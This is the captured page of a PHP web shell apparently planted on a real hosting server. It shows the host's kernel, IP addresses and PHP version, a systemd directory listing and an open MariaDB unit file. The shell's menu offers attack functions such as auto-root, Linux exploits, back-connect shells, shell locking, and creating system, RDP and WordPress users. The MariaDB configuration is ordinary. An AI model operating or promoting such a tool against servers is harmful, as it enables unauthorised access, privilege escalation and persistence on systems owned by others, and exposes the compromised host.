Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.255.133
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lib /
systemd /
system /
[ HOME SHELL ]
Name
Size
Permission
Action
basic.target.wants
[ DIR ]
drwxr-xr-x
dbus.target.wants
[ DIR ]
drwxr-xr-x
default.target.wants
[ DIR ]
drwxr-xr-x
graphical.target.wants
[ DIR ]
drwxr-xr-x
halt.target.wants
[ DIR ]
drwxr-xr-x
initrd-switch-root.target.want...
[ DIR ]
drwxr-xr-x
initrd.target.wants
[ DIR ]
drwxr-xr-x
kexec.target.wants
[ DIR ]
drwxr-xr-x
local-fs.target.wants
[ DIR ]
drwxr-xr-x
[email protected]
[ DIR ]
drwxr-xr-x
multi-user.target.wants
[ DIR ]
drwxr-xr-x
poweroff.target.wants
[ DIR ]
drwxr-xr-x
reboot.target.wants
[ DIR ]
drwxr-xr-x
remote-fs.target.wants
[ DIR ]
drwxr-xr-x
rescue.target.wants
[ DIR ]
drwxr-xr-x
runlevel1.target.wants
[ DIR ]
drwxr-xr-x
runlevel2.target.wants
[ DIR ]
drwxr-xr-x
runlevel3.target.wants
[ DIR ]
drwxr-xr-x
runlevel4.target.wants
[ DIR ]
drwxr-xr-x
runlevel5.target.wants
[ DIR ]
drwxr-xr-x
sockets.target.wants
[ DIR ]
drwxr-xr-x
sw-engine.service.d
[ DIR ]
drwxr-xr-x
sysinit.target.wants
[ DIR ]
drwxr-xr-x
syslog.target.wants
[ DIR ]
drwxr-xr-x
system-update.target.wants
[ DIR ]
drwxr-xr-x
systemd-logind.service.d
[ DIR ]
drwxr-xr-x
systemd-udev-trigger.service.d
[ DIR ]
drwxr-xr-x
timers.target.wants
[ DIR ]
drwxr-xr-x
user-.slice.d
[ DIR ]
drwxr-xr-x
NetworkManager-dispatcher.serv...
641
B
-rw-r--r--
NetworkManager-wait-online.ser...
1.12
KB
-rw-r--r--
NetworkManager.service
1.32
KB
-rw-r--r--
alt-php72-fpm.service
293
B
-rw-r--r--
alt-php72-newrelic-daemon.serv...
362
B
-rw-r--r--
alt-php73-fpm.service
293
B
-rw-r--r--
alt-php73-newrelic-daemon.serv...
362
B
-rw-r--r--
alt-php74-fpm.service
293
B
-rw-r--r--
alt-php74-newrelic-daemon.serv...
362
B
-rw-r--r--
alt-php80-fpm.service
292
B
-rw-r--r--
alt-php80-newrelic-daemon.serv...
362
B
-rw-r--r--
alt-php81-fpm.service
293
B
-rw-r--r--
alt-php81-newrelic-daemon.serv...
362
B
-rw-r--r--
alt-php82-fpm.service
293
B
-rw-r--r--
alt-php82-newrelic-daemon.serv...
362
B
-rw-r--r--
alt-redis-sentinel.service
414
B
-rw-r--r--
alt-redis.service
421
B
-rw-r--r--
arp-ethers.service
275
B
-rw-r--r--
atd.service
222
B
-rw-r--r--
auditd.service
1.73
KB
-rw-r--r--
auth-rpcgss-module.service
628
B
-rw-r--r--
[email protected]
1.93
KB
-rw-r--r--
basic.target
956
B
-rw-r--r--
blk-availability.service
408
B
-r--r--r--
bluetooth.target
419
B
-rw-r--r--
boot-complete.target
455
B
-rw-r--r--
cagefs.service
705
B
-rw-r--r--
[email protected]
209
B
-rw-r--r--
[email protected]
138
B
-rw-r--r--
chrony-wait.service
500
B
-rw-r--r--
chronyd.service
551
B
-rw-r--r--
console-getty.service
1.06
KB
-rw-r--r--
[email protected]
1.23
KB
-rw-r--r--
containerd.service
1.23
KB
-rw-r--r--
cpupower.service
294
B
-rw-r--r--
crond.service
356
B
-rw-r--r--
cryptsetup-pre.target
465
B
-rw-r--r--
cryptsetup.target
412
B
-rw-r--r--
csf.service
270
B
-rw-r--r--
ctrl-alt-del.target
583
B
-rw-r--r--
db_governor.service
536
B
-rw-r--r--
dbus-org.freedesktop.hostname1...
1.08
KB
-rw-r--r--
dbus-org.freedesktop.locale1.s...
1.05
KB
-rw-r--r--
dbus-org.freedesktop.login1.se...
1.35
KB
-rw-r--r--
dbus-org.freedesktop.portable1...
987
B
-rw-r--r--
dbus-org.freedesktop.timedate1...
1.02
KB
-rw-r--r--
dbus.service
380
B
-rw-r--r--
dbus.socket
102
B
-rw-r--r--
debug-shell.service
1.03
KB
-rw-r--r--
default.target
598
B
-rw-r--r--
dev-hugepages.mount
750
B
-rw-r--r--
dev-mqueue.mount
665
B
-rw-r--r--
dm-event.service
345
B
-r--r--r--
dm-event.socket
248
B
-r--r--r--
dnf-makecache.service
457
B
-rw-r--r--
dnf-makecache.timer
320
B
-rw-r--r--
dnf-system-upgrade-cleanup.ser...
322
B
-rw-r--r--
dnf-system-upgrade.service
601
B
-rw-r--r--
docker.service
1.67
KB
-rw-r--r--
docker.socket
295
B
-rw-r--r--
dracut-cmdline.service
904
B
-rw-r--r--
dracut-initqueue.service
821
B
-rw-r--r--
dracut-mount.service
793
B
-rw-r--r--
dracut-pre-mount.service
822
B
-rw-r--r--
dracut-pre-pivot.service
1.1
KB
-rw-r--r--
dracut-pre-trigger.service
914
B
-rw-r--r--
dracut-pre-udev.service
993
B
-rw-r--r--
dracut-shutdown-onfailure.serv...
309
B
-rw-r--r--
dracut-shutdown.service
440
B
-rw-r--r--
ea-php56-php-fpm.service
454
B
-rw-r--r--
ea-php72-php-fpm.service
716
B
-rw-r--r--
ea-php73-php-fpm.service
716
B
-rw-r--r--
ea-php74-php-fpm.service
716
B
-rw-r--r--
ea-php80-php-fpm.service
716
B
-rw-r--r--
ea-php81-php-fpm.service
716
B
-rw-r--r--
ea-php82-php-fpm.service
716
B
-rw-r--r--
ea-php83-php-fpm.service
716
B
-rw-r--r--
ea-php84-php-fpm.service
716
B
-rw-r--r--
emergency.service
801
B
-rw-r--r--
emergency.target
471
B
-rw-r--r--
exit.target
541
B
-rw-r--r--
final.target
480
B
-rw-r--r--
firebird.service
287
B
-rw-r--r--
fstrim.service
96
B
-rw-r--r--
fstrim.timer
229
B
-rw-r--r--
fwupd-offline-update.service
406
B
-rw-r--r--
fwupd-refresh.service
404
B
-rw-r--r--
fwupd-refresh.timer
194
B
-rw-r--r--
fwupd.service
650
B
-rw-r--r--
garb.service
478
B
-rw-r--r--
getty-pre.target
506
B
-rw-r--r--
getty.target
500
B
-rw-r--r--
[email protected]
1.93
KB
-rw-r--r--
governor_sentry_daemon.service
319
B
-rw-r--r--
graphical.target
598
B
-rw-r--r--
grub-boot-indeterminate.servic...
263
B
-rw-r--r--
gssproxy.service
466
B
-rw-r--r--
halt-local.service
605
B
-rw-r--r--
halt.target
527
B
-rw-r--r--
hibernate.target
509
B
-rw-r--r--
htcacheclean.service
387
B
-rw-r--r--
httpd.service
608
B
-rw-r--r--
hybrid-sleep.target
530
B
-rw-r--r--
import-state.service
441
B
-rw-r--r--
initrd-cleanup.service
674
B
-rw-r--r--
initrd-fs.target
593
B
-rw-r--r--
initrd-parse-etc.service
842
B
-rw-r--r--
initrd-root-device.target
561
B
-rw-r--r--
initrd-root-fs.target
566
B
-rw-r--r--
initrd-switch-root.service
593
B
-rw-r--r--
initrd-switch-root.target
777
B
-rw-r--r--
initrd-udevadm-cleanup-db.serv...
708
B
-rw-r--r--
initrd.target
763
B
-rw-r--r--
iprdump.service
184
B
-rw-r--r--
iprinit.service
143
B
-rw-r--r--
iprupdate.service
147
B
-rw-r--r--
iprutils.target
173
B
-rw-r--r--
irqbalance.service
475
B
-rw-r--r--
jetbackup5d.service
520
B
-rw-r--r--
jetindexd.service
473
B
-rw-r--r--
jetmongod.service
880
B
-rw-r--r--
kdump.service
388
B
-rw-r--r--
kexec.target
541
B
-rw-r--r--
kmod-static-nodes.service
721
B
-rw-r--r--
kvm_stat.service
368
B
-rw-r--r--
ldconfig.service
687
B
-rw-r--r--
lfd.service
226
B
-rw-r--r--
loadmodules.service
355
B
-rw-r--r--
local-fs-pre.target
435
B
-rw-r--r--
local-fs.target
547
B
-rw-r--r--
lve.service
465
B
-rw-r--r--
lve_namespaces.service
416
B
-rw-r--r--
lvectl.service
497
B
-rw-r--r--
lvemanager.service
311
B
-rw-r--r--
lvestats-burstwatcher-config.s...
501
B
-r--r--r--
lvestats-burstwatcher.service
447
B
-r--r--r--
lvestats.service
445
B
-r--r--r--
lvm2-lvmpolld.service
327
B
-r--r--r--
lvm2-lvmpolld.socket
239
B
-r--r--r--
lvm2-monitor.service
575
B
-r--r--r--
[email protected]
346
B
-r--r--r--
man-db-cache-update.service
358
B
-rw-r--r--
man-db-restart-cache-update.se...
301
B
-rw-r--r--
mariadb-extra.socket
492
B
-rw-r--r--
[email protected]
519
B
-rw-r--r--
mariadb.service
5.84
KB
-rw-r--r--
mariadb.socket
573
B
-rw-r--r--
[email protected]
9.92
KB
-rw-r--r--
[email protected]
580
B
-rw-r--r--
[email protected]
498
B
-rw-r--r--
[email protected]
241
B
-rw-r--r--
[email protected]
179
B
-rw-r--r--
mdcheck_continue.service
558
B
-rw-r--r--
mdcheck_continue.timer
400
B
-rw-r--r--
mdcheck_start.service
510
B
-rw-r--r--
mdcheck_start.timer
426
B
-rw-r--r--
[email protected]
1.15
KB
-rw-r--r--
mdmonitor-oneshot.service
552
B
-rw-r--r--
mdmonitor-oneshot.timer
398
B
-rw-r--r--
mdmonitor.service
310
B
-rw-r--r--
messagebus.service
380
B
-rw-r--r--
microcode.service
284
B
-rw-r--r--
mlocate-updatedb.service
231
B
-rw-r--r--
mlocate-updatedb.timer
146
B
-rw-r--r--
multi-user.target
532
B
-rw-r--r--
mysql.service
5.84
KB
-rw-r--r--
mysqld.service
5.84
KB
-rw-r--r--
named-setup-rndc.service
121
B
-rw-r--r--
named.service
859
B
-rw-r--r--
netconsole.service
336
B
-rw-r--r--
network-online.target
505
B
-rw-r--r--
network-pre.target
502
B
-rw-r--r--
network.target
521
B
-rw-r--r--
nfs-blkmap.service
295
B
-rw-r--r--
nfs-client.target
413
B
-rw-r--r--
nfs-convert.service
608
B
-rw-r--r--
nfs-idmapd.service
222
B
-rw-r--r--
nfs-mountd.service
287
B
-rw-r--r--
nfs-server.service
978
B
-rw-r--r--
nfs-utils.service
567
B
-rw-r--r--
nfsdcld.service
236
B
-rw-r--r--
nftables.service
393
B
-rw-r--r--
nis-domainname.service
378
B
-rw-r--r--
nscd.service
512
B
-rw-r--r--
nscd.socket
133
B
-rw-r--r--
nss-lookup.target
554
B
-rw-r--r--
nss-user-lookup.target
513
B
-rw-r--r--
paths.target
394
B
-rw-r--r--
pdns.service
1.39
KB
-rw-r--r--
[email protected]
1.42
KB
-rw-r--r--
plymouth-halt.service
418
B
-rw-r--r--
plymouth-kexec.service
418
B
-rw-r--r--
plymouth-poweroff.service
427
B
-rw-r--r--
plymouth-quit-wait.service
224
B
-rw-r--r--
plymouth-quit.service
218
B
-rw-r--r--
plymouth-read-write.service
268
B
-rw-r--r--
plymouth-reboot.service
420
B
-rw-r--r--
plymouth-start.service
563
B
-rw-r--r--
plymouth-switch-root-initramfs...
372
B
-rw-r--r--
plymouth-switch-root.service
315
B
-rw-r--r--
polkit.service
172
B
-rw-r--r--
poweroff.target
592
B
-rw-r--r--
printer.target
417
B
-rw-r--r--
proc-fs-nfsd.mount
98
B
-rw-r--r--
proc-sys-fs-binfmt_misc.automo...
745
B
-rw-r--r--
proc-sys-fs-binfmt_misc.mount
655
B
-rw-r--r--
proxyexecd.service
353
B
-rw-r--r--
qemu-guest-agent.service
522
B
-rw-r--r--
quotaon.service
617
B
-rw-r--r--
rc-local.service
771
B
-rw-r--r--
rdisc.service
208
B
-rw-r--r--
rdma-hw.target
580
B
-rw-r--r--
[email protected]
881
B
-rw-r--r--
rdma-ndd.service
879
B
-rw-r--r--
reboot.target
583
B
-rw-r--r--
remote-cryptsetup.target
549
B
-rw-r--r--
remote-fs-pre.target
436
B
-rw-r--r--
remote-fs.target
522
B
-rw-r--r--
rescue.service
792
B
-rw-r--r--
rescue.target
492
B
-rw-r--r--
rhnsd.service
260
B
-rw-r--r--
rpc-gssd.service
281
B
-rw-r--r--
rpc-statd-notify.service
387
B
-rw-r--r--
rpc-statd.service
414
B
-rw-r--r--
rpc_pipefs.target
80
B
-rw-r--r--
rpcbind.service
544
B
-rw-r--r--
rpcbind.socket
368
B
-rw-r--r--
rpcbind.target
540
B
-rw-r--r--
rrdcached.service
376
B
-rw-r--r--
rrdcached.socket
312
B
-rw-r--r--
rsyslog.service
960
B
-rw-r--r--
runlevel0.target
592
B
-rw-r--r--
runlevel1.target
492
B
-rw-r--r--
runlevel2.target
532
B
-rw-r--r--
runlevel3.target
532
B
-rw-r--r--
runlevel4.target
532
B
-rw-r--r--
runlevel5.target
598
B
-rw-r--r--
runlevel6.target
583
B
-rw-r--r--
saslauthd.service
274
B
-rw-r--r--
selinux-autorelabel-mark.servi...
406
B
-rw-r--r--
selinux-autorelabel.service
301
B
-rw-r--r--
selinux-autorelabel.target
230
B
-rw-r--r--
[email protected]
1.45
KB
-rw-r--r--
shutdown.target
442
B
-rw-r--r--
sigpwr.target
402
B
-rw-r--r--
sleep.target
460
B
-rw-r--r--
slices.target
449
B
-rw-r--r--
smartcard.target
420
B
-rw-r--r--
smartd.service
329
B
-rw-r--r--
sockets.target
396
B
-rw-r--r--
sound.target
420
B
-rw-r--r--
ssa-agent.service
285
B
-rw-r--r--
ssa-agent.socket
181
B
-rw-r--r--
sshd-keygen.target
123
B
-rw-r--r--
[email protected]
247
B
-rw-r--r--
sshd.service
456
B
-rw-r--r--
sshd.socket
181
B
-rw-r--r--
[email protected]
342
B
-rw-r--r--
sssd-autofs.service
472
B
-rw-r--r--
sssd-autofs.socket
371
B
-rw-r--r--
sssd-kcm.service
443
B
-rw-r--r--
sssd-kcm.socket
186
B
-rw-r--r--
sssd-nss.service
351
B
-rw-r--r--
sssd-nss.socket
420
B
-rw-r--r--
sssd-pac.service
460
B
-rw-r--r--
sssd-pac.socket
362
B
-rw-r--r--
sssd-pam-priv.socket
443
B
-rw-r--r--
sssd-pam.service
481
B
-rw-r--r--
sssd-pam.socket
391
B
-rw-r--r--
sssd-ssh.service
460
B
-rw-r--r--
sssd-ssh.socket
362
B
-rw-r--r--
sssd-sudo.service
481
B
-rw-r--r--
sssd-sudo.socket
364
B
-rw-r--r--
sssd.service
772
B
-rw-r--r--
suspend-then-hibernate.target
577
B
-rw-r--r--
suspend.target
503
B
-rw-r--r--
sw-engine.service
515
B
-rw-r--r--
swap.target
393
B
-rw-r--r--
sys-fs-fuse-connections.mount
795
B
-rw-r--r--
sys-kernel-config.mount
767
B
-rw-r--r--
sys-kernel-debug.mount
710
B
-rw-r--r--
sysinit.target
558
B
-rw-r--r--
syslog.socket
1.37
KB
-rw-r--r--
sysstat-collect.service
389
B
-rw-r--r--
sysstat-collect.timer
325
B
-rw-r--r--
sysstat-summary.service
369
B
-rw-r--r--
sysstat-summary.timer
356
B
-rw-r--r--
sysstat.service
475
B
-rw-r--r--
system-update-cleanup.service
1.38
KB
-rw-r--r--
system-update-pre.target
543
B
-rw-r--r--
system-update.target
617
B
-rw-r--r--
systemd-ask-password-console.p...
704
B
-rw-r--r--
systemd-ask-password-console.s...
728
B
-rw-r--r--
systemd-ask-password-plymouth....
454
B
-rw-r--r--
systemd-ask-password-plymouth....
435
B
-rw-r--r--
systemd-ask-password-wall.path
632
B
-rw-r--r--
systemd-ask-password-wall.serv...
760
B
-rw-r--r--
[email protected]
760
B
-rw-r--r--
systemd-binfmt.service
1.07
KB
-rw-r--r--
systemd-coredump.socket
537
B
-rw-r--r--
[email protected]
1.08
KB
-rw-r--r--
systemd-exit.service
494
B
-rw-r--r--
systemd-firstboot.service
799
B
-rw-r--r--
systemd-fsck-root.service
618
B
-rw-r--r--
[email protected]
671
B
-rw-r--r--
systemd-halt.service
588
B
-rw-r--r--
[email protected]
...
675
B
-rw-r--r--
systemd-hibernate.service
545
B
-rw-r--r--
systemd-hostnamed.service
1.08
KB
-rw-r--r--
systemd-hwdb-update.service
826
B
-rw-r--r--
systemd-hybrid-sleep.service
563
B
-rw-r--r--
systemd-initctl.service
550
B
-rw-r--r--
systemd-initctl.socket
546
B
-rw-r--r--
systemd-journal-catalog-update...
711
B
-rw-r--r--
systemd-journal-flush.service
827
B
-rw-r--r--
systemd-journald-audit.socket
647
B
-rw-r--r--
systemd-journald-dev-log.socke...
1.1
KB
-rw-r--r--
systemd-journald.service
1.5
KB
-rw-r--r--
systemd-journald.socket
882
B
-rw-r--r--
systemd-kexec.service
601
B
-rw-r--r--
systemd-localed.service
1.05
KB
-rw-r--r--
systemd-logind.service
1.35
KB
-rw-r--r--
systemd-machine-id-commit.serv...
737
B
-rw-r--r--
systemd-modules-load.service
1011
B
-rw-r--r--
systemd-portabled.service
987
B
-rw-r--r--
systemd-poweroff.service
556
B
-rw-r--r--
systemd-pstore.service
840
B
-rw-r--r--
systemd-quotacheck.service
663
B
-rw-r--r--
systemd-random-seed.service
800
B
-rw-r--r--
systemd-reboot.service
551
B
-rw-r--r--
systemd-remount-fs.service
802
B
-rw-r--r--
systemd-resolved.service
1.63
KB
-rw-r--r--
systemd-rfkill.service
728
B
-rw-r--r--
systemd-rfkill.socket
657
B
-rw-r--r--
systemd-suspend-then-hibernate...
600
B
-rw-r--r--
systemd-suspend.service
541
B
-rw-r--r--
systemd-sysctl.service
697
B
-rw-r--r--
systemd-sysusers.service
704
B
-rw-r--r--
systemd-timedated.service
1.02
KB
-rw-r--r--
systemd-tmpfiles-clean.service
663
B
-rw-r--r--
systemd-tmpfiles-clean.timer
490
B
-rw-r--r--
systemd-tmpfiles-setup-dev.ser...
771
B
-rw-r--r--
systemd-tmpfiles-setup.service
751
B
-rw-r--r--
systemd-udev-settle.service
867
B
-rw-r--r--
systemd-udev-trigger.service
771
B
-rw-r--r--
systemd-udevd-control.socket
635
B
-rw-r--r--
systemd-udevd-kernel.socket
610
B
-rw-r--r--
systemd-udevd.service
1.04
KB
-rw-r--r--
systemd-update-done.service
674
B
-rw-r--r--
systemd-update-utmp-runlevel.s...
801
B
-rw-r--r--
systemd-update-utmp.service
802
B
-rw-r--r--
systemd-user-sessions.service
636
B
-rw-r--r--
systemd-vconsole-setup.service
622
B
-rw-r--r--
systemd-volatile-root.service
694
B
-rw-r--r--
tcsd.service
128
B
-rw-r--r--
[email protected]
244
B
-rw-r--r--
time-sync.target
435
B
-rw-r--r--
timedatex.service
238
B
-rw-r--r--
timers.target
445
B
-rw-r--r--
tmp.mount
782
B
-rw-r--r--
tuned.service
439
B
-rw-r--r--
udisks2.service
207
B
-rw-r--r--
umount.target
457
B
-rw-r--r--
unbound-anchor.service
296
B
-rw-r--r--
unbound-anchor.timer
346
B
-rw-r--r--
[email protected]
629
B
-rw-r--r--
user.slice
432
B
-rw-r--r--
[email protected]
671
B
-rw-r--r--
var-lib-nfs-rpc_pipefs.mount
191
B
-rw-r--r--
var-lve-dbgovernor\x2dshm.moun...
277
B
-rw-r--r--
wp-toolkit-background-tasks.se...
341
B
-rw-r--r--
wp-toolkit-scheduled-tasks.ser...
339
B
-rw-r--r--
xray-agent.service
277
B
-rw-r--r--
xray-agent.socket
173
B
-rw-r--r--
xray-user-agent.service
297
B
-rw-r--r--
xray-user-agent.socket
188
B
-rw-r--r--
zabbix-agent.service
185
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor :
[email protected]
# Multi instance version of MariaDB # # Use this if you run multiple instances of MariaDB on a single server. # # This systemd service is not suitable for Galera as specialised SST recovery # scripts are needed. # # # It's not recommended to modify this file in-place, because it will be # overwritten during package upgrades. If you want to customize, the # best way is to create a file "/etc/systemd/system/mariadb@.service", # containing # .include /usr/lib/systemd/system/mariadb@.service # ...make your changes here... # or create a file "/etc/systemd/system/mariadb@.service.d/foo.conf", # which doesn't need to include ".include" call and which will be parsed # after the file mariadb@.service itself is parsed. # # For more info about custom unit files, see systemd.unit(5) or # https://mariadb.com/kb/en/mariadb/systemd/ # # Copyright notice: # # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation; either version 2.1 of the License, or # (at your option) any later version. # # # MULTI INSTANCES # # When multiple instances of MariaDB are running on a server they need to # ensure that they don't conflict with each other. This includes elements # like network ports, sockets and data directories listed under CONFLICTING # VARIABLES below. The systemd environment variable MYSQLD_MULTI_INSTANCE # controls each instance to ensure it is run independently. It is passed to # mariadbd and mysql_install # # By default, a group suffix exists and within the default configuration # files, a group [mariadbd.{instancename}] is read for each service. Other # default groups, like [server.{instancename}] and [mariadb.{instancename}], # are also read. For each instance, one of the groups will need to contain # the conflicting variables listed below under CONFLICTING VARIABLES. # # The MYSQLD_MULTI_INSTANCE environment used is: # Environment='MYSQLD_MULTI_INSTANCE=--defaults-group-suffix=.%I --basedir=/usr' # # # APPLYING YOUR MULTI INSTANCE MECHANISM # # To apply one of the non-default multi-instance mechanisms, create a file # "/etc/systemd/system/mariadb@.service.d/multi.conf" containing: # # [Service] # Environment=MYSQLD_MULTI_INSTANCE="...." # # Include any other settings you which to override. Directives like Exec* are # lists and adding a directive will append to the list. You can clear the list # by starting with "Directive=" and no value. Follow this by the list that you # do want. See the systemd.unit(5) manual page for more information. # # Then run "systemctl daemon-reload". # # # EXAMPLE MYSQLD_MULTI_INSTANCE CONFIGURATIONS # # Configuration File Based Mechanism: # # This has a configuration file per instance. # # [Unit] # ConditionPathExists=/etc/my.%I.cnf # # [Service] # Environment=MYSQLD_MULTI_INSTANCE=--defaults-file=/etc/my.%I.cnf # # Here you need to create a configuration file /etc/my.%I.cnf for each # instance, each containing the conflicting variables to separate instances. # # # Multi User Based Mechanism: # # Here each user (the instance name) has their own mysql instance. # # Create instances in users home directory with abstract socket: # # [Service] # User=%I # ProtectHome=false # ExecStartPre= # ExecStartPre=/usr/bin/mysql_install_db $MYSQLD_MULTI_INSTANCE \ # --auth-root-authentication-method=socket --auth-root-socket-user=%I # Environment=MYSQLD_MULTI_INSTANCE="--defaults-file=/home/%I/my%I.cnf \ # --datadir=/home/%I/mysqldatadir --skip-networking --socket=@mysql-%I" # # # Command Line Mechanism: # # This is a good way run multiple instance where there is little difference # in configuration between instances. # # [Service] # Environment=MYSQLD_MULTI_INSTANCE="--socket=/run/mysqld/%I.sock \ # --datadir=/var/lib/mysqld-multi/%I \ # --skip-networking" # # # CONFLICTING VARIABLES # # A number of MariaDB system variables may conflict. The main ones that need to # be set because their default values will conflict are: # * socket # * port # * datadir # # # PRE-10.4 # # Before 10.4 MYSQLD_MULTI_INSTANCE was effectively --defaults-file=/etc/my.cnf.d/my%I.cnf # As /etc/my.cnf included these files it was a bad choice as an # existing single instance would include all these files. If you want to # continue a file based multi-instance mariadbd, recommend the Configuration File # Based Mechanism above and moving /etc/my.cnf.d/my%I.cnf files to /etc/my%I.cnf. # # # SELINUX # # As basic selinux rules are written around a single instance of MariaDB you may need # to define labels for the files and network ports of all instances. # # See: https://mariadb.com/kb/en/library/what-to-do-if-mariadb-doesnt-start/#selinux # # # STARTING # # Start the instance: systemctl start mariadb@{instancename}.service # # # DOCUMENTATION: # # Read https://mariadb.com/kb/en/mariadb/systemd/ regarding customisation. # # Also see systemd man pages: systemd.unit(5), systemd.exec(5) and # systemd.service(5) [Unit] Description=MariaDB 10.6.21 database server (multi-instance %I) Documentation=man:mariadbd(8) Documentation=https://mariadb.com/kb/en/library/systemd/ After=network.target # Negated condition here is because 10.3 and before had /etc/my.cnf.d/my%I.cnf # as the configuration difference for multiple instances. This condition here # to prevent an accidental change during an upgrade in the case the user # created these file(s). # ## See Environment=MYSQLD_MULTI_INSTANCE below for current recommended options. ConditionPathExists=!/etc/my.cnf.d/my%I.cnf [Install] WantedBy=multi-user.target [Service] ############################################################################## ## Core requirements ## Type=notify # Setting this to true can break replication and the Type=notify settings # See also bind-address mariadbd option. PrivateNetwork=false ############################################################################## ## Package maintainers ## # CAP_IPC_LOCK To allow memlock to be used as non-root user # CAP_DAC_OVERRIDE To allow auth_pam_tool (which is SUID root) to read /etc/shadow when it's chmod 0 # does nothing for non-root, not needed if /etc/shadow is u+r # CAP_AUDIT_WRITE auth_pam_tool needs it on Debian for whatever reason AmbientCapabilities=CAP_IPC_LOCK CAP_DAC_OVERRIDE CAP_AUDIT_WRITE # PrivateDevices=true implies NoNewPrivileges=true and # SUID auth_pam_tool suddenly doesn't do setuid anymore PrivateDevices=false # Prevent writes to /usr, /boot, and /etc ProtectSystem=full # Requires kernel 4.14 or later and SELinux transition rule for mysqld_t # (https://github.com/systemd/systemd/issues/3845) # NoNewPrivileges=true # Prevent accessing /home, /root and /run/user ProtectHome=true # Needed to create system tables etc. ExecStartPre=/usr/bin/mysql_install_db $MYSQLD_MULTI_INSTANCE # Start main service # A few variables are here: # * MYSQLD_MULTI_INSTANCE - control how multiple instances are distinguisable # * MYSQLD_OPTS - user definable extras - not a replacement for my.cnf # # Note 1: Place $MYSQLD_OPTS at the very end for its options to take precedence. ExecStart=/usr/sbin/mariadbd $MYSQLD_MULTI_INSTANCE $MYSQLD_OPTS KillSignal=SIGTERM # Don't want to see an automated SIGKILL ever SendSIGKILL=no # Restart crashed server only, on-failure would also restart, for example, when # my.cnf contains unknown option Restart=on-abort RestartSec=5s UMask=007 ############################################################################## ## USERs can override ## ## ## by creating a file in /etc/systemd/system/mariadb.service.d/MY_SPECIAL.conf ## and adding/setting the following below [Service] will override this file's ## settings. # Useful options not previously available in [mysqld_safe] # Kernels like killing mariadbd when out of memory because its big. # Lets temper that preference a little. # OOMScoreAdjust=-600 # Explicitly start with high IO priority # BlockIOWeight=1000 # If you don't use the /tmp directory for SELECT ... OUTFILE and # LOAD DATA INFILE you can enable PrivateTmp=true for a little more security. PrivateTmp=false # Set an explicit Start and Stop timeout of 900 seconds (15 minutes!) # this is the same value as used in SysV init scripts in the past # if you need a longer timeout, check the KB: # https://mariadb.com/kb/en/library/systemd/#configuring-the-systemd-service-timeout TimeoutStartSec=900 TimeoutStopSec=900 # Set the maximium number of tasks (threads) to 99% of what the system can # handle as set by the kernel, reserve the 1% for a remote ssh connection, # some monitoring, or that backup cron job. Without the directive this would # be 15% (see DefaultTasksMax in systemd man pages). TasksMax=99% # Controlling how multiple instances are separated. See top of this file. # Note: This service isn't User=mysql by default so we need to be explicit. # It is as an option here as a user may want to use the MYSQLD_MULTI_INSTANCE # to run multiple versions. Environment='MYSQLD_MULTI_INSTANCE=--defaults-group-suffix=.%I' # While you can override these, you shouldn't leave them empty as that # will default to root. User=mysql Group=mysql ## ## Options previously available to be set via [mysqld_safe] ## that now needs to be set by systemd config files as mysqld_safe ## isn't executed. ## # Number of files limit. previously [mysqld_safe] open-files-limit LimitNOFILE=32768 # Maximium core size. previously [mysqld_safe] core-file-size # LimitCore= # Nice priority. previously [mysqld_safe] nice # Nice=-5 # Timezone. previously [mysqld_safe] timezone # Environment="TZ=UTC" # Library substitutions. previously [mysqld_safe] malloc-lib with explicit paths # (in LD_LIBRARY_PATH) and library name (in LD_PRELOAD). # Environment="LD_LIBRARY_PATH=/path1 /path2" "LD_PRELOAD= # Flush caches. previously [mysqld_safe] flush-caches=1 # ExecStartPre=sync # ExecStartPre=sysctl -q -w vm.drop_caches=3 # numa-interleave=1 equalivant # Change ExecStart=numactl --interleave=all /usr/sbin/mariadbd...... # crash-script equalivent # FailureAction=
Close